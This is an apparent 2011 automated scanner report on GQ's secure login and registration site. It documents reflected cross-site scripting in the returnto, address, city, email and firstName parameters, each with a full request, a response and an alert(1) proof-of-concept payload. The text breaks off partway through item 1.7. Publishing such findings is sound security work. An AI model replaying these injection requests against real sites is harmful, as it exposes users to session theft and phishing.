XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, BHDB, secure.gq.com

Report generated by XSS.CX at Fri Nov 04 08:43:25 CDT 2011.

Hoyt LLC Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

Loading



1. Cross-site scripting (reflected)

1.1. https://secure.gq.com/user/forgot_password [returnto parameter]

1.2. https://secure.gq.com/user/login [returnto parameter]

1.3. https://secure.gq.com/user/registration [address1 parameter]

1.4. https://secure.gq.com/user/registration [address2 parameter]

1.5. https://secure.gq.com/user/registration [city parameter]

1.6. https://secure.gq.com/user/registration [email parameter]

1.7. https://secure.gq.com/user/registration [firstName parameter]

1.8. https://secure.gq.com/user/registration [handler.cds.10201.cdsOfferId parameter]

1.9. https://secure.gq.com/user/registration [lastName parameter]

1.10. https://secure.gq.com/user/registration [newOfferState parameter]

1.11. https://secure.gq.com/user/registration [password1 parameter]

1.12. https://secure.gq.com/user/registration [password2 parameter]

1.13. https://secure.gq.com/user/registration [returnto parameter]

1.14. https://secure.gq.com/user/registration [returnto parameter]

1.15. https://secure.gq.com/user/registration [state parameter]

1.16. https://secure.gq.com/user/registration [username parameter]

1.17. https://secure.gq.com/user/registration [zip parameter]

1.18. https://secure.gq.com/user/login [Referer HTTP header]

1.19. https://secure.gq.com/user/registration [Referer HTTP header]

2. Flash cross-domain policy

3. Password field with autocomplete enabled

3.1. https://secure.gq.com/services/newsletters/demographics

3.2. https://secure.gq.com/user/login

3.3. https://secure.gq.com/user/registration

4. Referer-dependent response

5. Cross-domain Referer leakage

5.1. https://secure.gq.com/user/forgot_password

5.2. https://secure.gq.com/user/registration

6. Email addresses disclosed

6.1. https://secure.gq.com/atg/registry/RepositoryTargeters/GQM/GQM_global_rightRail_B

6.2. https://secure.gq.com/css/i/global/ad_choices_arrow.png

6.3. https://secure.gq.com/css/i/global/form.html

6.4. https://secure.gq.com/registration

6.5. https://secure.gq.com/services/newsletters

6.6. https://secure.gq.com/services/newsletters/demographics

6.7. https://secure.gq.com/user

6.8. https://secure.gq.com/user/forgot_password

6.9. https://secure.gq.com/user/login

6.10. https://secure.gq.com/user/registration

7. Robots.txt file

8. Cacheable HTTPS response

9. SSL certificate



1. Cross-site scripting (reflected)  next
There are 19 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. https://secure.gq.com/user/forgot_password [returnto parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://secure.gq.com
Path:   /user/forgot_password

Issue detail

The value of the returnto request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 38c92"><script>alert(1)</script>a177a9d9c72 was submitted in the returnto parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /user/forgot_password?returnto=http://www.gq.com/search?qt=dismax38c92"><script>alert(1)</script>a177a9d9c72&sort=score+desc&query=shoes+shorts+pants+socks&submit= HTTP/1.1
Host: secure.gq.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://secure.gq.com/user/login
Cookie: mobify=0; s_pers=%20s_vnum_m%3D1322719200759%2526vn%253D1%7C1322719200759%3B%20ev1%3Dshoes%2520shorts%2520pants%2520socks%7C1320346853383%3B%20s_depth%3D5%7C1320346890949%3B%20s_campaign%3D%7C1320346893019%3B%20sinvisit_m%3Dtrue%7C1320346893023%3B%20s_nr%3D1320345093026%7C1322937093026%3B%20s_eVar10%3D%7C1320346893031%3B%20_dr%3Dhttp%253A%252F%252Fwww.fakereferrerdominator.com%252Freferrerpathname%253Frefparname%253Drefvalue%7C1320346893035%3B%20s_c30_persist%3Dfakereferrerdominator.com%7C1320346893062%3B%20s_c39_persist%3Dfakereferrerdominator.com%7C1320346893063%3B%20gpv_p5%3Dno%2520value%7C1320346893065%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dconde-gqcom%253D%252526pid%25253Dhttps%2525253A%2525252F%2525252Fsecure.gq.com%2525252Fuser%2525252Flogin%252526pidt%25253D1%252526oid%25253Dhttps%2525253A%2525252F%2525252Fsecure.gq.com%2525252Fuser%2525252Fforgot_password%2525253Freturnto%2525253Dhttp%2525253A%2525252F%2525252Fwww.gq.com%2525252Fsearch%2525253Fqt%2525253Ddismax%25252526sort%2525253Dscore_1%252526oidt%25253D1%252526ot%25253DA%252526oi%25253D1%3B; s_vi=[CS]v1|27596E9D850103EE-600001002029F2B2[CE]; __utma=135853927.574698479.1320344885.1320344885.1320344885.1; __utmb=135853927.2.10.1320344885; __utmc=135853927; __utmz=135853927.1320344885.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; SiteLifeHost=L3VM250l3pluckcom; anonId=1ec96be5-324f-4508-9e0c-4736dd0c4fb8; JSESSIONID=dcbLSqsQLa-JLfnMSSQnt.4

Response

HTTP/1.1 200 OK
Date: Thu, 03 Nov 2011 18:31:59 GMT
Server: Resin/3.1.6
cache-control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-store
Content-Language: en-US
Content-Type: text/html; charset=ISO-8859-1
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Length: 40572


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org
...[SNIP]...
<input type="hidden" name="returnto" value="http://www.gq.com/search?qt=dismax38c92"><script>alert(1)</script>a177a9d9c72" />
...[SNIP]...

1.2. https://secure.gq.com/user/login [returnto parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://secure.gq.com
Path:   /user/login

Issue detail

The value of the returnto request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1e940"><script>alert(1)</script>1a0bc20528a178776 was submitted in the returnto parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /user/login?returnto=http%3A%2F%2Fwww.gq.com%2Fsearch%3Fqt%3Ddismax%26sort%3Dscore%2Bdesc%26query%3Dshoes%2Bshorts%2Bpants%2Bsocks%26submit%3D1e940"><script>alert(1)</script>1a0bc20528a178776&username=xss&password=xss&rememberme=true&submit= HTTP/1.1
Host: secure.gq.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://secure.gq.com/user/login
Cookie: mobify=0; s_pers=%20s_vnum_m%3D1322719200759%2526vn%253D1%7C1322719200759%3B%20ev1%3Dshoes%2520shorts%2520pants%2520socks%7C1320346853383%3B%20s_depth%3D4%7C1320346875412%3B%20_dr%3Dhttp%253A%252F%252Fwww.fakereferrerdominator.com%252Freferrerpathname%253Frefparname%253Drefvalue%7C1320346886510%3B%20s_campaign%3D%7C1320346889574%3B%20sinvisit_m%3Dtrue%7C1320346889580%3B%20s_nr%3D1320345089585%7C1322937089585%3B%20s_eVar10%3D%7C1320346889592%3B%20s_c30_persist%3Dfakereferrerdominator.com%7C1320346889605%3B%20s_c39_persist%3Dfakereferrerdominator.com%7C1320346889607%3B%20gpv_p5%3Dno%2520value%7C1320346889689%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dconde-gqcom%253D%252526pid%25253Dhttps%2525253A%2525252F%2525252Fsecure.gq.com%2525252Fuser%2525252Flogin%252526pidt%25253D1%252526oid%25253DLogin%252526oidt%25253D3%252526ot%25253DSUBMIT%3B; s_vi=[CS]v1|27596E9D850103EE-600001002029F2B2[CE]; __utma=135853927.574698479.1320344885.1320344885.1320344885.1; __utmb=135853927.2.10.1320344885; __utmc=135853927; __utmz=135853927.1320344885.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; SiteLifeHost=L3VM250l3pluckcom; anonId=1ec96be5-324f-4508-9e0c-4736dd0c4fb8; JSESSIONID=dcbLSqsQLa-JLfnMSSQnt.4

Response

HTTP/1.1 200 OK
Date: Thu, 03 Nov 2011 18:31:57 GMT
Server: Resin/3.1.6
cache-control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-store
Content-Language: en-US
Content-Type: text/html; charset=ISO-8859-1
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Length: 40385


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org
...[SNIP]...
<input type="hidden" name="returnto" value="http://www.gq.com/search?qt=dismax&sort=score+desc&query=shoes+shorts+pants+socks&submit=1e940"><script>alert(1)</script>1a0bc20528a178776" />
...[SNIP]...

1.3. https://secure.gq.com/user/registration [address1 parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://secure.gq.com
Path:   /user/registration

Issue detail

The value of the address1 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 837c7"><script>alert(1)</script>d6e002b106744ab18 was submitted in the address1 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /user/registration?returnto=%2F&applicationId=93&command=submit&newOfferState=&email=&password1=&password2=&username=&rememberme=true&firstName=&lastName=&address1=837c7"><script>alert(1)</script>d6e002b106744ab18&address2=&city=&state=&zip=&country=US&handler.cds=handler.cds.10201.&handler.cds.10201.cdsOfferId=10201&handler.cds.10201.errorView=null&handler.ecom.0.errorView=redirect%3A%2Fservices%2FecomErrors%3FecomReturnto%3D%2Fuser%2Fregistration%2Foptions%3FsubOffer%3D0&handler.cds.0.errorView=redirect%3A%2Fservices%2FcdsErrors%3FcdsReturnto%3D%2Fuser%2Fregistration%2Foptions%3FsubOffer%3D0&toolkit.application=registration&toolkit.applicationId=NONE+PROVIDED&formName=user.registration&partnerCode=&sourceCode=&handler.newsletter.137.status_override=true&handler.newsletter=handler.newsletter.137.&handler.newsletter.137.newsletterId=137&handler.newsletter.137.isRequired=true&handler.newsletter.138.status_override=true&handler.newsletter=handler.newsletter.138.&handler.newsletter.138.newsletterId=138&handler.newsletter.138.isRequired=true&submit=Submit+Query HTTP/1.1
Host: secure.gq.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://secure.gq.com/user/registration?returnto=
Cookie: mobify=0; s_pers=%20s_vnum_m%3D1322719200759%2526vn%253D1%7C1322719200759%3B%20ev1%3Dshoes%2520shorts%2520pants%2520socks%7C1320346853383%3B%20s_depth%3D7%7C1320346933645%3B%20_dr%3Dhttp%253A%252F%252Fwww.fakereferrerdominator.com%252Freferrerpathname%253Frefparname%253Drefvalue%7C1320346945361%3B%20s_campaign%3D%7C1320346951943%3B%20sinvisit_m%3Dtrue%7C1320346951947%3B%20s_nr%3D1320345151950%7C1322937151950%3B%20s_eVar10%3D%7C1320346951956%3B%20s_c30_persist%3Dfakereferrerdominator.com%7C1320346951968%3B%20s_c39_persist%3Dfakereferrerdominator.com%7C1320346951969%3B%20gpv_p5%3Dno%2520value%7C1320346951998%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|27596E9D850103EE-600001002029F2B2[CE]; __utma=135853927.574698479.1320344885.1320344885.1320344885.1; __utmb=135853927.2.10.1320344885; __utmc=135853927; __utmz=135853927.1320344885.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; SiteLifeHost=L3VM250l3pluckcom; anonId=1ec96be5-324f-4508-9e0c-4736dd0c4fb8; JSESSIONID=dcbLSqsQLa-JLfnMSSQnt.4

Response

HTTP/1.1 200 OK
Date: Thu, 03 Nov 2011 18:34:20 GMT
Server: Resin/3.1.6
cache-control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-store
Content-Language: en-US
Content-Type: text/html; charset=ISO-8859-1
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Length: 84487


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org
...[SNIP]...
<input class="med" type="text" name="address1" id="address1" value="837c7"><script>alert(1)</script>d6e002b106744ab18" />
...[SNIP]...

1.4. https://secure.gq.com/user/registration [address2 parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://secure.gq.com
Path:   /user/registration

Issue detail

The value of the address2 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9fbf7"><script>alert(1)</script>824f2d554229d7203 was submitted in the address2 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /user/registration?returnto=%2F&applicationId=93&command=submit&newOfferState=&email=&password1=&password2=&username=&rememberme=true&firstName=&lastName=&address1=&address2=9fbf7"><script>alert(1)</script>824f2d554229d7203&city=&state=&zip=&country=US&handler.cds=handler.cds.10201.&handler.cds.10201.cdsOfferId=10201&handler.cds.10201.errorView=null&handler.ecom.0.errorView=redirect%3A%2Fservices%2FecomErrors%3FecomReturnto%3D%2Fuser%2Fregistration%2Foptions%3FsubOffer%3D0&handler.cds.0.errorView=redirect%3A%2Fservices%2FcdsErrors%3FcdsReturnto%3D%2Fuser%2Fregistration%2Foptions%3FsubOffer%3D0&toolkit.application=registration&toolkit.applicationId=NONE+PROVIDED&formName=user.registration&partnerCode=&sourceCode=&handler.newsletter.137.status_override=true&handler.newsletter=handler.newsletter.137.&handler.newsletter.137.newsletterId=137&handler.newsletter.137.isRequired=true&handler.newsletter.138.status_override=true&handler.newsletter=handler.newsletter.138.&handler.newsletter.138.newsletterId=138&handler.newsletter.138.isRequired=true&submit=Submit+Query HTTP/1.1
Host: secure.gq.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://secure.gq.com/user/registration?returnto=
Cookie: mobify=0; s_pers=%20s_vnum_m%3D1322719200759%2526vn%253D1%7C1322719200759%3B%20ev1%3Dshoes%2520shorts%2520pants%2520socks%7C1320346853383%3B%20s_depth%3D7%7C1320346933645%3B%20_dr%3Dhttp%253A%252F%252Fwww.fakereferrerdominator.com%252Freferrerpathname%253Frefparname%253Drefvalue%7C1320346945361%3B%20s_campaign%3D%7C1320346951943%3B%20sinvisit_m%3Dtrue%7C1320346951947%3B%20s_nr%3D1320345151950%7C1322937151950%3B%20s_eVar10%3D%7C1320346951956%3B%20s_c30_persist%3Dfakereferrerdominator.com%7C1320346951968%3B%20s_c39_persist%3Dfakereferrerdominator.com%7C1320346951969%3B%20gpv_p5%3Dno%2520value%7C1320346951998%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|27596E9D850103EE-600001002029F2B2[CE]; __utma=135853927.574698479.1320344885.1320344885.1320344885.1; __utmb=135853927.2.10.1320344885; __utmc=135853927; __utmz=135853927.1320344885.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; SiteLifeHost=L3VM250l3pluckcom; anonId=1ec96be5-324f-4508-9e0c-4736dd0c4fb8; JSESSIONID=dcbLSqsQLa-JLfnMSSQnt.4

Response

HTTP/1.1 200 OK
Date: Thu, 03 Nov 2011 18:34:27 GMT
Server: Resin/3.1.6
cache-control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-store
Content-Language: en-US
Content-Type: text/html; charset=ISO-8859-1
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Length: 84487


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org
...[SNIP]...
<input class="med" type="text" name="address2" id="address2" value="9fbf7"><script>alert(1)</script>824f2d554229d7203" />
...[SNIP]...

1.5. https://secure.gq.com/user/registration [city parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://secure.gq.com
Path:   /user/registration

Issue detail

The value of the city request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dfcfb"><script>alert(1)</script>1c0d2cd8094a479cf was submitted in the city parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /user/registration?returnto=%2F&applicationId=93&command=submit&newOfferState=&email=&password1=&password2=&username=&rememberme=true&firstName=&lastName=&address1=&address2=&city=dfcfb"><script>alert(1)</script>1c0d2cd8094a479cf&state=&zip=&country=US&handler.cds=handler.cds.10201.&handler.cds.10201.cdsOfferId=10201&handler.cds.10201.errorView=null&handler.ecom.0.errorView=redirect%3A%2Fservices%2FecomErrors%3FecomReturnto%3D%2Fuser%2Fregistration%2Foptions%3FsubOffer%3D0&handler.cds.0.errorView=redirect%3A%2Fservices%2FcdsErrors%3FcdsReturnto%3D%2Fuser%2Fregistration%2Foptions%3FsubOffer%3D0&toolkit.application=registration&toolkit.applicationId=NONE+PROVIDED&formName=user.registration&partnerCode=&sourceCode=&handler.newsletter.137.status_override=true&handler.newsletter=handler.newsletter.137.&handler.newsletter.137.newsletterId=137&handler.newsletter.137.isRequired=true&handler.newsletter.138.status_override=true&handler.newsletter=handler.newsletter.138.&handler.newsletter.138.newsletterId=138&handler.newsletter.138.isRequired=true&submit=Submit+Query HTTP/1.1
Host: secure.gq.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://secure.gq.com/user/registration?returnto=
Cookie: mobify=0; s_pers=%20s_vnum_m%3D1322719200759%2526vn%253D1%7C1322719200759%3B%20ev1%3Dshoes%2520shorts%2520pants%2520socks%7C1320346853383%3B%20s_depth%3D7%7C1320346933645%3B%20_dr%3Dhttp%253A%252F%252Fwww.fakereferrerdominator.com%252Freferrerpathname%253Frefparname%253Drefvalue%7C1320346945361%3B%20s_campaign%3D%7C1320346951943%3B%20sinvisit_m%3Dtrue%7C1320346951947%3B%20s_nr%3D1320345151950%7C1322937151950%3B%20s_eVar10%3D%7C1320346951956%3B%20s_c30_persist%3Dfakereferrerdominator.com%7C1320346951968%3B%20s_c39_persist%3Dfakereferrerdominator.com%7C1320346951969%3B%20gpv_p5%3Dno%2520value%7C1320346951998%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|27596E9D850103EE-600001002029F2B2[CE]; __utma=135853927.574698479.1320344885.1320344885.1320344885.1; __utmb=135853927.2.10.1320344885; __utmc=135853927; __utmz=135853927.1320344885.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; SiteLifeHost=L3VM250l3pluckcom; anonId=1ec96be5-324f-4508-9e0c-4736dd0c4fb8; JSESSIONID=dcbLSqsQLa-JLfnMSSQnt.4

Response

HTTP/1.1 200 OK
Date: Thu, 03 Nov 2011 18:34:43 GMT
Server: Resin/3.1.6
cache-control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-store
Content-Language: en-US
Content-Type: text/html; charset=ISO-8859-1
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Length: 84603


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org
...[SNIP]...
<input class="med" type="text" name="city" id="city" value="dfcfb"><script>alert(1)</script>1c0d2cd8094a479cf" />
...[SNIP]...

1.6. https://secure.gq.com/user/registration [email parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://secure.gq.com
Path:   /user/registration

Issue detail

The value of the email request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fe6cd"><script>alert(1)</script>e1da18478d3580cf8 was submitted in the email parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /user/registration?returnto=%2F&applicationId=93&command=submit&newOfferState=&email=fe6cd"><script>alert(1)</script>e1da18478d3580cf8&password1=&password2=&username=&rememberme=true&firstName=&lastName=&address1=&address2=&city=&state=&zip=&country=US&handler.cds=handler.cds.10201.&handler.cds.10201.cdsOfferId=10201&handler.cds.10201.errorView=null&handler.ecom.0.errorView=redirect%3A%2Fservices%2FecomErrors%3FecomReturnto%3D%2Fuser%2Fregistration%2Foptions%3FsubOffer%3D0&handler.cds.0.errorView=redirect%3A%2Fservices%2FcdsErrors%3FcdsReturnto%3D%2Fuser%2Fregistration%2Foptions%3FsubOffer%3D0&toolkit.application=registration&toolkit.applicationId=NONE+PROVIDED&formName=user.registration&partnerCode=&sourceCode=&handler.newsletter.137.status_override=true&handler.newsletter=handler.newsletter.137.&handler.newsletter.137.newsletterId=137&handler.newsletter.137.isRequired=true&handler.newsletter.138.status_override=true&handler.newsletter=handler.newsletter.138.&handler.newsletter.138.newsletterId=138&handler.newsletter.138.isRequired=true&submit=Submit+Query HTTP/1.1
Host: secure.gq.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://secure.gq.com/user/registration?returnto=
Cookie: mobify=0; s_pers=%20s_vnum_m%3D1322719200759%2526vn%253D1%7C1322719200759%3B%20ev1%3Dshoes%2520shorts%2520pants%2520socks%7C1320346853383%3B%20s_depth%3D7%7C1320346933645%3B%20_dr%3Dhttp%253A%252F%252Fwww.fakereferrerdominator.com%252Freferrerpathname%253Frefparname%253Drefvalue%7C1320346945361%3B%20s_campaign%3D%7C1320346951943%3B%20sinvisit_m%3Dtrue%7C1320346951947%3B%20s_nr%3D1320345151950%7C1322937151950%3B%20s_eVar10%3D%7C1320346951956%3B%20s_c30_persist%3Dfakereferrerdominator.com%7C1320346951968%3B%20s_c39_persist%3Dfakereferrerdominator.com%7C1320346951969%3B%20gpv_p5%3Dno%2520value%7C1320346951998%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|27596E9D850103EE-600001002029F2B2[CE]; __utma=135853927.574698479.1320344885.1320344885.1320344885.1; __utmb=135853927.2.10.1320344885; __utmc=135853927; __utmz=135853927.1320344885.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; SiteLifeHost=L3VM250l3pluckcom; anonId=1ec96be5-324f-4508-9e0c-4736dd0c4fb8; JSESSIONID=dcbLSqsQLa-JLfnMSSQnt.4

Response

HTTP/1.1 200 OK
Date: Thu, 03 Nov 2011 18:33:33 GMT
Server: Resin/3.1.6
cache-control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-store
Content-Language: en-US
Content-Type: text/html; charset=ISO-8859-1
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Length: 84489


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org
...[SNIP]...
<input class="med" type="text" name="email" id="email" value="fe6cd"><script>alert(1)</script>e1da18478d3580cf8" />
...[SNIP]...

1.7. https://secure.gq.com/user/registration [firstName parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://secure.gq.com
Path:   /user/registration

Issue detail

The value of the firstName request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eb9d7"><script>alert(1)</script>1a5a5e7255d2785cb was submitted in the firstName parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /user/registration?returnto=%2F&applicationId=93&command=submit&newOfferState=&email=&password1=&password2=&username=&rememberme=true&firstName=eb9d7"><script>alert(1)</script>1a5a5e7255d2785cb&lastName=&address1=&address2=&city=&state=&zip=&country=US&handler.cds=handler.cds.10201.&handler.cds.10201.cdsOfferId=10201&handler.cds.10201.errorView=null&handler.ecom.0.errorView=redirect%3A%2Fservices%2FecomErrors%3FecomReturnto%3D%2Fuser%2Fregistration%2Foptions%3FsubOffer%3D0&handler.cds.0.errorView=redirect%3A%2Fservices%2FcdsErrors%3FcdsReturnto%3D%2Fuser%2Fregistration%2Foptions%3FsubOffer%3D0&toolkit.application=registration&toolkit.applicationId=NONE+PROVIDED&formName=user.registration&partnerCode=&sourceCode=&handler.newsletter.137.status_override=true&handler.newsletter=handler.newsletter.137.&handler.newsletter.137.newsletterId=137&handler.newsletter.137.isRequired=true&handler.newsletter.138.status_override=true&handler.newsletter=handler.newsletter.138.&handler.newsletter.138.newsletterId=138&handler.newsletter.138.isRequired=true&submit=Submit+Query HTTP/1.1
Host: secure.gq.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://secure.gq.com/user/registration?returnto=
